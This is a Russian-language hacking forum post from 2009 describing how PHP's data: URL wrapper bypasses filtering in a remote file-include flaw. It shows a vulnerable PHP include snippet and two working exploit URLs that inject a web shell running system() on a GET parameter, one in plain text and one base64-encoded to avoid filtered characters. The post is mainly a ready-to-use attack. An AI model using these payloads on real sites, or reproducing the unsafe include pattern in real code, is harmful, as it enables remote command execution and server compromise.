Показать сообщение отдельно

Self-contained File Include в PHP
  #1  
Старый 18.02.2009, 11:56
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме:
2753780

Репутация: 585
Lightbulb Self-contained File Include в PHP

Начиная с версии 5.2.0, PHP поддерживает "data" URL scheme (http://ru.php.net/manual/ru/wrappers.data.php), что иногда можно использовать для обхода некоторой фильтрации при RFI.

Например, мы имеем код:
Код:
<?

// Фильтруется возможность перехода в другие дириктории
// и возможность вписать URL:

$dir = str_replace('/', '', $dir);
$dir = str_replace('.', '', $dir); 

if (include($dir . '/lala/file.php'))
{
	echo 'Heck!';
}
else 
{ 
	echo 'Error!'; 
} 

?>
Для эксплуатации требуется:
Код:
PHP Version => 5.2.0
allow_url_include = On
Эксплоит:
Код:
http://site.ru/index2.php?dir=data:,<?php system($_GET[c]); ?>?&c=dir
Код шелла можно кодировать в Base64, подобрав его таким образом, чтобы в результате он не содержал символов '/', '+'.

<?php system($_GET[c]); ?>
кодируется в
PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=

Эксплоит:
Код:
http://site.ru/index2.php?dir=data:;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir
[*] Не нужно заливать файл на сторонний сервер как при обычном RFI.
[+] Можно обойти фильтрацию некоторых символов.
[-] Не обходит file_exist().

Последний раз редактировалось cr0w; 18.02.2009 в 12:27..
 
Ответить с цитированием